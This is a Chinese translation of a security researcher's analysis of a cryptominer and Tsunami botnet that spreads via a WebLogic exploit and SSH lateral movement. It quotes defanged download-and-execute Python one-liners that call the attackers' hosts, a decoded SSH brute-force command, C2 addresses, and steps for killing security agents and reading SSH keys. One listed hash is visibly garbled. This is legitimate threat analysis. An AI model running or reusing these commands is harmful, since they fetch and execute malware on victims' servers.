具有SSH横向移动功能的多媒介矿工+海啸僵尸网络

安全研究员Tolijan Trajanovski分析了实现SSH横向移动的多向量Miner + Tsunami僵尸网络。

安全研究员研究员0xrb与我分享了使用weblogic exploit传播的僵尸网络示例。该僵尸网络也在5天前被@ BadPackets发现, 并且到2020年12月1日为止仍处于活动状态。该僵尸网络带有两个有效载荷:1)Monero XMR Miner二进制文件;2)海啸二进制文件。该僵尸网络以云服务器为目标。 2020年9月 ,AWAKE Security的Patrick Olsen调查并报告了仅携带XMR Miner有效载荷的僵尸网络的早期版本 。 

僵尸网络摘要

有效负载:Monero矿工和海啸。
感染媒介:Docker API,Weblogic,SSH bruteforce?,Redis? 
僵尸网络目前正在使用Weblogic漏洞进行传播。9月,僵尸网络的早期版本正在使用配置错误的Docker API。有趣的是,当前的僵尸网络版本包含未使用的代码,用于利用Redis和暴力破解SSH。
横向移动:僵尸网络使用SSH进行横向移动。它尝试感染系统先前连接的主机。
逃避和持久性:僵尸网络以多种方式实现持久性。杀死正在运行的进程,潜在地争夺挖掘工具并消除EDR。使用base64编码的中间阶段shell脚本和base64编码的命令来下载和执行python脚本。
AWAKE的Patrick Olsen对以前版本的出色分析:https://awakesecurity.com/blog/threat-hunting-to-find-misconfigured-docker-exploitation/

此版本的僵尸网络有哪些新功能?

  • 除了Monero XMR挖矿机之外,Tsunami还添加为第二个有效载荷
  • 利用Oracle WebLogic RCE进行传播
  • 消除了EDR和监控工具,阿里巴巴的Aliyun和腾讯的qcloud
  • 对SSH横向移动使用改进的功能,该功能枚举ssh用户,密钥,主机和端口
  • 使用具有不同放置位置的多个shell脚本和python脚本,使用硬编码的IP地址和域连接到二进制托管Web服务器 
  • 包含未使用的代码,这些代码用于使用masscan扫描SSH和Redis服务以及使用Redis-cli和SSH蛮力工具感染服务器

分析

第1阶段– WebLogic利用CVE-2020-14882

poc.xml SHA256:af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439

阶段1执行两个有效负载,一个shell脚本,xms和一个python脚本。shellscript xms通过curl从bash传递到bash,以防万一失败,使用wget对其进行提取,执行和删除,以防止分析。使用base64编码命令来获取并执行python脚本,以避免检测和分析。

海啸僵尸网络

回显的base64编码的字符串解析为以下内容:python -c’import urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/d.py”).read())’

第2阶段A)– xms shell脚本

xms shell脚本SHA256:72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5

执行的动作

  1. 配置外壳路径
  2. 如果SELinux处于强制模式,则将其切换到许可模式
  3. 将用户进程的限制设置为50000
  4. 将RedHat大页面的数量设置为虚拟CPU内核数量的三倍
  5. 清除LD预加载
  6. 终止在以下端口上通信的进程:3333、4444、5555、7777、14444、5790、45700、2222、9999、20580和13531。还终止与这些服务连接的进程:23.94.24.12:8080和134.122.17.13:8080。这些行为可能会杀死以前运行的软件和潜在的竞争机器人。
  7. 生成一个随机数,并根据该随机数将线程设置为300或800->在未使用/注释过的SSH bruteforce代码中使用
  8. 卸载DER 
    • 检查是否安装了AliBaba安全代理Aliyun,如果是,则将其卸载
    • 检查是否安装了qcloud(由腾讯进行的云监控),如果是,则将其卸载
  9. 获取主机的WAN IP地址的/ 16范围
  10. 检查pool.supportxmr.com是否可访问
  11. 检查bash.givemexyz.in是否可访问,是否执行以下操作:
    • python -c’import urllib; exec(urllib.urlopen(“ hxxp://bash.givemexyz.in/dd.py”).read())’
  12. 如果无法访问bash.givemexyz.in,则执行以下操作:
    • python -c’导入urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/d.py”).read())’

SSH横向移动:xms shell脚本尝试感染服务器先前已连接到的主机。 

  • 它使用icanhazip.com解析受害主机IP
  • 它枚举用户,主机,键和端口,并运行4个嵌套循环以尝试所有组合
  • 为了找到此信息,它解析id_rsa *;。.ssh / config; .bash_history; 和主目录和根目录中的.pem文件。它还列出了正在运行的进程,以获取有关活动SSH连接的信息。
海啸僵尸网络

持久性:持久性机制与僵尸网络的先前版本相同。

  • xms脚本通过cronjobs实现了持久性,该cronjobs每分钟,每2分钟,每3分钟,每30分钟和每小时下载并执行xms shell脚本和python脚本。
  • /etc/cron.d/root
  • /etc/cron.d/apache
  • / var / spool / cron / root
  • / var / spool / cron / crontabs / root
  • /etc/cron.hourly/oanacroner1
  • 它还覆盖/etc/init.d/down以确保系统启动时的持久性。

阶段2 B)Python脚本

共有4个python脚本。它们分为2组。第一组下载并运行Miner二进制文件和随附的shell脚本,维护持久性并下载并运行第二组python脚本。第二组python脚本下载并运行Tsunami二进制文件。每个组都有两个脚本:一个从硬编码的IP中获取垃圾箱,而另一个则使用域连接到托管有效负载的Web服务器。同一组中的脚本还会将垃圾箱放置到不同的位置,即/ tmp或/ var / tmp中。

d.py-> 
1)从硬编码IP 205.185.116.78下载go shell脚本和Miner二进制文件,并通过go脚本执行Miner二进制文件。下载并执行b.py。
2)获取并执行以下外壳程序脚本:
a)执行以下命令:python -c’import urllib; exec(urllib.urlopen(“ hxxp://bash.givemexyz.in/dd.py”).read())’或如果Givemexyz Web服务器不可用:
python -c’import urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/b.py”).read())’
b)使用cron
dd保持持久性。 py python脚本的行为与d.py相同,但它从bash.givemexyz.in获取Miner二进制文件。 
b.py和bb.py->获取并执行Tsunami 32位和64位二进制文​​件

海啸僵尸网络

阶段3)A)Monero XMR Miner ELF二进制
文件二进制文件与名为go的shell脚本一起下载。“ go” shell脚本用于执行Miner二进制文件。二进制文件使用默认的UPX打包程序打包。
x86_64 SHA256:fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i686
SHA256:35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d7f9c9f9c9b3c6b3c7f3c3f3d3c3f3d3c3f3d3d3df3d3df3d3df3d3d3d3d3d3d3d3dfdfdfdfd

海啸僵尸网络3

Miner ELF二进制文件连接到以下挖掘代理服务器:
66.70.218.40 : 8080
209.141.35.17:8080

阶段3)B)海啸
Tsunami二进制文件针对x86和x86_64体系结构进行了编译,与Miner二进制文件类似,它们也都装有UPX。
他们连接到以下C2服务器:104.244.75.25:443
x32b SHA256:9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872
x64b SHA256:855557e415b485cedb9dc2c6f96d524143108a2f8442

第2阶段“ xms” shell脚本
SSH扫描程序和漏洞1中未使用的利用功能1.使用masscan扫描
以下范围的开放端口22:10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 2.使用
SSH使用开放的SSH端口攻击发现的服务器的暴力工具
解码SSH攻击命令base64:RSAKEY =“否” SCP =“否” SCPFILE =” / tmp / linux.tar.gz” SCPPATH =” / tmp” CMD =” cd / tmp; tar -xvf /tmp/linux.tar.gz; chmod 777 / tmp / i686 / tmp / x86_64 / tmp / go; / tmp / go“ PORT =” 22“ UserKnownHostsFile =”“” BatchMode =“ no” ConnectTimeout =“ 15” StrictHostKeyChecking =“ no” Format =“ USER PASS IP” / tmp / sshexec /tmp/sparte.txt

海啸僵尸网络

Redis用于感染LAN中的服务器
1.扫描LAN中具有开放端口6379的设备,并将它们添加到列表中
2.使用redis-cli感染发现的服务器

海啸僵尸网络

原始分析报告了其他信息,包括危害指标(IoC):

*作者:Tolijan Trajanovski

*编译:Domino

*来自:securityaffairs